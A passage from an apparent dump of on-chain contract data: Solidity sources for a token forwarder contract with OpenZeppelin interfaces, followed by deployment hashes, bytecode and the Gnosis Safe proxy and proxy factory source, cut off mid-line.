address which called `safeTransferFrom` function\n * @param _from The address of the sender\n * @param _tokenId The token id of the nft\n * @param data Additional data with no specified format, sent in call to `_to`\n */\n function onERC721Received(\n address _operator,\n address _from,\n uint256 _tokenId,\n bytes memory data\n ) external virtual override returns (bytes4) {\n if (autoFlush721) {\n IERC721 instance = IERC721(msg.sender);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The caller does not support the ERC721 interface'\n );\n // this won't work for ERC721 re-entrancy\n instance.safeTransferFrom(address(this), parentAddress, _tokenId, data);\n }\n\n return this.onERC721Received.selector;\n }\n\n function callFromParent(\n address target,\n uint256 value,\n bytes calldata data\n ) external onlyParent returns (bytes memory) {\n (bool success, bytes memory returnedData) = target.call{ value: value }(\n data\n );\n require(success, 'Parent call execution failed');\n\n return returnedData;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155Received(\n address _operator,\n address _from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeTransferFrom(address(this), parentAddress, id, value, data);\n }\n\n return this.onERC1155Received.selector;\n }\n\n /**\n * @inheritdoc IERC1155Receiver\n */\n function onERC1155BatchReceived(\n address _operator,\n address _from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external virtual override returns (bytes4) {\n IERC1155 instance = IERC1155(msg.sender);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n if (autoFlush1155) {\n instance.safeBatchTransferFrom(\n address(this),\n parentAddress,\n ids,\n values,\n data\n );\n }\n\n return this.onERC1155BatchReceived.selector;\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushTokens(address tokenContractAddress)\n external\n virtual\n override\n onlyParent\n {\n ERC20Interface instance = ERC20Interface(tokenContractAddress);\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress);\n if (forwarderBalance == 0) {\n return;\n }\n\n TransferHelper.safeTransfer(\n tokenContractAddress,\n parentAddress,\n forwarderBalance\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC721 instance = IERC721(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC721).interfaceId),\n 'The tokenContractAddress does not support the ERC721 interface'\n );\n\n address ownerAddress = instance.ownerOf(tokenId);\n instance.transferFrom(ownerAddress, parentAddress, tokenId);\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external\n virtual\n override\n onlyParent\n {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256 forwarderBalance = instance.balanceOf(forwarderAddress, tokenId);\n\n instance.safeTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenId,\n forwarderBalance,\n ''\n );\n }\n\n /**\n * @inheritdoc IForwarder\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external virtual override onlyParent {\n IERC1155 instance = IERC1155(tokenContractAddress);\n require(\n instance.supportsInterface(type(IERC1155).interfaceId),\n 'The caller does not support the IERC1155 interface'\n );\n\n address forwarderAddress = address(this);\n uint256[] memory amounts = new uint256[](tokenIds.length);\n for (uint256 i = 0; i < tokenIds.length; i++) {\n amounts[i] = instance.balanceOf(forwarderAddress, tokenIds[i]);\n }\n\n instance.safeBatchTransferFrom(\n forwarderAddress,\n parentAddress,\n tokenIds,\n amounts,\n ''\n );\n }\n\n /**\n * Flush the entire balance of the contract to the parent address.\n */\n function flush() public {\n uint256 value = address(this).balance;\n\n if (value == 0) {\n return;\n }\n\n (bool success, ) = parentAddress.call{ value: value }('');\n require(success, 'Flush failed');\n emit ForwarderDeposited(msg.sender, value, msg.data);\n }\n\n /**\n * @inheritdoc IERC165\n */\n function supportsInterface(bytes4 interfaceId)\n public\n virtual\n override(ERC1155Receiver, IERC165)\n view\n returns (bool)\n {\n return\n interfaceId == type(IForwarder).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n}\n" }, "@openzeppelin/contracts/token/ERC1155/IERC1155.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n" }, "@openzeppelin/contracts/token/ERC721/IERC721.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n" }, "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n" }, "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Receiver.sol\";\nimport \"../../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\nabstract contract ERC1155Receiver is ERC165, IERC1155Receiver {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);\n }\n}\n" }, "contracts/ERC20Interface.sol": { "content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\n/**\n * Contract that exposes the needed erc20 token functions\n */\n\nabstract contract ERC20Interface {\n // Send _value amount of tokens to address _to\n function transfer(address _to, uint256 _value)\n public\n virtual\n returns (bool success);\n\n // Get the account balance of another account with address _owner\n function balanceOf(address _owner)\n public\n virtual\n view\n returns (uint256 balance);\n}\n" }, "contracts/TransferHelper.sol": { "content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// source: https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol\npragma solidity 0.8.10;\n\nimport '@openzeppelin/contracts/utils/Address.sol';\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transfer(address,uint256)')));\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n 'TransferHelper::safeTransfer: transfer failed'\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));\n (bool success, bytes memory returndata) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n Address.verifyCallResult(\n success,\n returndata,\n 'TransferHelper::transferFrom: transferFrom failed'\n );\n }\n}\n" }, "contracts/IForwarder.sol": { "content": "pragma solidity ^0.8.0;\n\nimport '@openzeppelin/contracts/utils/introspection/IERC165.sol';\n\ninterface IForwarder is IERC165 {\n /**\n * Sets the autoflush721 parameter.\n *\n * @param autoFlush whether to autoflush erc721 tokens\n */\n function setAutoFlush721(bool autoFlush) external;\n\n /**\n * Sets the autoflush1155 parameter.\n *\n * @param autoFlush whether to autoflush erc1155 tokens\n */\n function setAutoFlush1155(bool autoFlush) external;\n\n /**\n * Execute a token transfer of the full balance from the forwarder token to the parent address\n *\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushTokens(address tokenContractAddress) external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address\n *\n * @param tokenContractAddress the address of the ERC721 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a batch nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenIds The token ids of the nfts\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external;\n}\n" }, "@openzeppelin/contracts/utils/introspection/IERC165.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n" }, "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n /**\n @dev Handles the receipt of a single ERC1155 token type. This function is\n called at the end of a `safeTransferFrom` after the balance has been updated.\n To accept the transfer, this must return\n `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n (i.e. 0xf23a6e61, or its own function selector).\n @param operator The address which initiated the transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param id The ID of the token being transferred\n @param value The amount of tokens being transferred\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /**\n @dev Handles the receipt of a multiple ERC1155 token types. This function\n is called at the end of a `safeBatchTransferFrom` after the balances have\n been updated. To accept the transfer(s), this must return\n `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n (i.e. 0xbc197c81, or its own function selector).\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param ids An array containing ids of each token being transferred (order and length must match values array)\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n" }, "@openzeppelin/contracts/utils/introspection/ERC165.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n" }, "@openzeppelin/contracts/utils/Address.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n" } }, "settings": { "optimizer": { "enabled": false, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} } }}
1
19,493,255
735b9406b5a6399878c9cd463c74aadf42ffd853d36e010839cbaef2b77cd19f
21d463df59ede8972d9defe60960b6b886f11eb6798a8a0d1673915c6a5b77d2
d371d8f79d61d26d96e63f3191897fda62080be5
a6b71e26c5e0845f74c812102ca7114b6a896ab2
eefa440bac88929a8cc808e7cc0beb55fb2fb6f2
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
// SPDX-License-Identifier: LGPL-3.0-only pragma solidity >=0.7.0 <0.9.0; /// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain /// @author Richard Meissner - <[email protected]> interface IProxy { function masterCopy() external view returns (address); } /// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. /// @author Stefan George - <[email protected]> /// @author Richard Meissner - <[email protected]> contract GnosisSafeProxy { // singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` address internal singleton; /// @dev Constructor function sets address of singleton contract. /// @param _singleton Singleton address. constructor(address _singleton) { require(_singleton != address(0), "Invalid singleton address provided"); singleton = _singleton; } /// @dev Fallback function forwards all transactions and returns all received return data. fallback() external payable { // solhint-disable-next-line no-inline-assembly assembly { let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { mstore(0, _singleton) return(0, 0x20) } calldatacopy(0, 0, calldatasize()) let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) if eq(success, 0) { revert(0, returndatasize()) } return(0, returndatasize()) } } } /// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @author Stefan George - <[email protected]> contract GnosisSafeProxyFactory { event ProxyCreation(GnosisSafeProxy proxy, address singleton); /// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction. /// @param singleton Address of singleton contract. /// @param data Payload for message call sent to new proxy contract. function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) { proxy = new GnosisSafeProxy(singleton); if (data.length > 0) // solhint-disable-next-line no-inline-assembly assembly { if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) } } emit ProxyCreation(proxy, singleton); } /// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed. function proxyRuntimeCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).runtimeCode; } /// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address. function proxyCreationCode() public pure returns (bytes memory) { return type(GnosisSafeProxy).creationCode; } /// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer. /// This method is only meant as an utility to be called from other methods /// @param _singleton Address of singleton contract. /// @param initializer Payload for message call sent to new proxy contract. /// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract. function deployProxyWithNonce( address _singleton, bytes memory initializer, uint256 saltNonce ) internal returns (GnosisSafeProxy proxy) { // If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce)); bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton))); // solhint-disable-next-line 